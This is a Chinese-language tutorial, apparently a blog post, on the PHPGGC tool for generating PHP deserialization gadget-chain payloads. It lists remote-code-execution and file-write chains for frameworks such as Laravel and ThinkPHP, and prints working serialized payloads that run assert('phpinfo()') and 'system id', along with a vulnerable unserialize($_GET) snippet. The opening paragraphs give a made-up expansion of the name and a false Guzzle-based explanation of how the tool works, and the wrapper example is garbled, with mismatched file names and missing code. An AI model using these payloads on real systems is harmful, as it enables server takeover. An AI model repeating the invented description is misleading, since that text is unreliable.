PHPGGC,全称为“PHP Guzzle Getters and Setters”,是一个库,包含了预构建的Guzzle HTTP客户端请求对象,这些对象可以被用来利用PHP应用中的反射或魔术方法漏洞。它的核心价值在于简化了对PHP应用程序潜在漏洞的探测过程,特别是对于那些可能存在的命令注入漏洞。
PHPGGC是一个unserialize()
有效负载库,沿着一个从命令行或编程方式生成它们的工具。当在您没有代码的网站上遇到未序列化时,或者只是试图构建漏洞时,此工具允许您生成有效负载,而无需通过查找小工具并组合它们的繁琐步骤。它可以被看作是frohoff的ysoserial的等价物,但用于PHP。
目前,该工具支持小工具链,如:CodeIgniter 4,Doctrine,Drupal 7,Guzzle,Laravel,Magento,Monolog,Phalcon,Podio,Slim,SwiftMailer,Symfony,Wordpress,Yii和ZendFramework。
该项目基于PHP编写,并且利用了Guzzle,这是一个流行的HTTP客户端库,能够处理HTTP请求。PHPGGC通过创建特殊的GETters和SETters,它们在发送HTTP请求时可以被恶意构造,从而触发不安全的代码执行。这种构造方式使得安全研究人员能够在各种不同的场景中快速验证是否存在代码注入风险,而无需手动编写复杂的payload。
PHPGGC还支持命令行界面(CLI),允许用户轻松地生成或搜索所需的GGC有效载荷。此外,其代码结构清晰,易于扩展,意味着你可以根据需要添加新的GGC类型或者自定义功能。
运行PHPGGC需要
PHP >= 5.6
下载项目
git clone https://github.com/ambionics/phpggc.git
cd phpggc/
运行./phpggc -l
获取gadget
链列表
$ php ./phpggc -l
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Bitrix/RCE1 17.x.x <= 22.0.300 RCE: Function Call __destruct
CakePHP/RCE1 ? <= 3.9.6 RCE: Command __destruct
CakePHP/RCE2 ? <= 4.2.3 RCE: Function Call __destruct
CodeIgniter4/FD1 <= 4.3.6 File delete __destruct
CodeIgniter4/FD2 <= 4.3.7 File delete __destruct
Laravel/RCE10 5.6.0 <= 9.1.8+ RCE: Function Call __toString
Laravel/RCE11 5.4.0 <= 9.1.8+ RCE: Function Call __destruct
Laravel/RCE12 5.8.35, 7.0.0, 9.3.10 RCE: Function Call __destruct *
Laravel/RCE13 5.3.0 <= 9.5.1+ RCE: Function Call __destruct *
Laravel/RCE14 5.3.0 <= 9.5.1+ RCE: Function Call __destruct
Laravel/RCE15 5.5.0 <= v9.5.1+ RCE: Function Call __destruct
Laravel/RCE16 5.6.0 <= v9.5.1+ RCE: Function Call __destruct
Laravel/RCE17 10.31.0 RCE: Function Call __destruct
Laravel/RCE18 10.31.0 RCE: PHP Code __destruct *
Laravel/RCE19 10.34 RCE: Command __destruct
Symfony/RCE14 1.2.0 <= 1.2.12 RCE: Function Call __wakeup *
Symfony/RCE15 1.0.0 <= 1.1.9 RCE: Function Call __wakeup *
Symfony/RCE16 1.1.0 <= 1.5.18 RCE: Function Call Serializable *
TCPDF/FD1 <= 6.3.5 File delete __destruct *
ThinkPHP/FW1 5.0.4-5.0.24 File write __destruct *
ThinkPHP/FW2 5.0.0-5.0.03 File write __destruct *
ThinkPHP/RCE1 5.1.x-5.2.x RCE: Function Call __destruct *
ThinkPHP/RCE2 5.0.24 RCE: Function Call __destruct *
ThinkPHP/RCE3 -6.0.1+ RCE: Function Call __destruct
ThinkPHP/RCE4 -6.0.1+ RCE: Function Call __destruct
Typo3/FD1 4.5.35 <= 10.4.1 File delete __destruct *
...
过滤器小工具链 `ThinkPHP
$ php ./phpggc -l ThinkPHP
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
ThinkPHP/FW1 5.0.4-5.0.24 File write __destruct *
ThinkPHP/FW2 5.0.0-5.0.03 File write __destruct *
ThinkPHP/RCE1 5.1.x-5.2.x RCE: Function Call __destruct *
ThinkPHP/RCE2 5.0.24 RCE: Function Call __destruct *
ThinkPHP/RCE3 -6.0.1+ RCE: Function Call __destruct
ThinkPHP/RCE4 -6.0.1+ RCE: Function Call __destruct
每个小工具链都有
__destruct()
,__toString()
,offsetGet()
,...)使用-i
获取有关链的详细信息
$ php ./phpggc -i ThinkPHP/RCE4
Name : ThinkPHP/RCE4
Version : -6.0.1+
Type : RCE: Function Call
Vector : __destruct
./phpggc ThinkPHP/RCE4 <function> <parameter>
运行./phpggc <gadget-chain> [parameters]
以获取有效负载。
$ php ./phpggc ThinkPHP/RCE4 assert 'phpinfo()'
O:17:"think\model\Pivot":9:{s:19:"think\Modelexists";b:1;s:18:"think\Modelforce";b:1;s:21:"think\ModellazySave";b:1;s:9:"*suffix";O:17:"think\model\Pivot":9:{s:19:"think\Modelexists";N;s:18:"think\Modelforce";N;s:21:"think\ModellazySave";N;s:9:"*suffix";N;s:17:"think\Modeldata";a:1:{s:3:"key";a:1:{s:3:"key";s:9:"phpinfo()";}}s:21:"think\ModelwithAttr";a:1:{s:3:"key";a:1:{s:3:"key";s:6:"assert";}}s:7:"*json";a:1:{i:0;s:3:"key";}s:12:"*jsonAssoc";b:1;s:12:"*withEvent";N;}s:17:"think\Modeldata";a:1:{s:3:"key";a:1:{s:3:"key";s:9:"phpinfo()";}}s:21:"think\ModelwithAttr";N;s:7:"*json";N;s:12:"*jsonAssoc";N;s:12:"*withEvent";b:0;}
例如,如果易受攻击的代码看起来像这样:tinywan_wrapper.php
脚本
<?php
$data = unserialize($_GET['data']);
print $data['message'];
执行结果
php ./phpggc -w ./my_wrapper.php slim/rce1 system id
PHP Notice: Undefined index: data in /home/www/build/phpggc/my_wrapper.php on line 2
PHP Notice: Trying to access array offset on value of type bool in /home/www/build/phpggc/tinywan_wrapper.php on line 3
ERROR: Wrapper file does not define process_parameters(), process_object() or process_serialized()
你可以使用__toString()
链,像这样包装它:tinywan_wrapper2.php
脚本
php ./phpggc -w ./tinywan_wrapper2.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{s:10:"*headers";O:8:"Slim\App":1:{s:19:"Slim\Appcontainer";O:14:"Slim\Container":3:{s:21:"Pimple\Containerraw";a:1:{s:3:"all";a:2:{i:0;O:8:"Slim\App":1:{s:19:"Slim\Appcontainer";O:8:"Slim\App":1:{s:19:"Slim\Appcontainer";O:14:"Slim\Container":3:{s:21:"Pimple\Containerraw";a:1:{s:3:"has";s:6:"system";}s:24:"Pimple\Containervalues";a:1:{s:3:"has";s:6:"system";}s:22:"Pimple\Containerkeys";a:1:{s:3:"has";s:6:"system";}}}}i:1;s:2:"id";}}s:24:"Pimple\Containervalues";a:1:{s:3:"all";a:2:{i:0;r:7;i:1;s:2:"id";}}s:22:"Pimple\Containerkeys";a:1:{s:3:"all";a:2:{i:0;r:7;i:1;s:2:"id";}}}}s:7:"*body";s:0:"";}}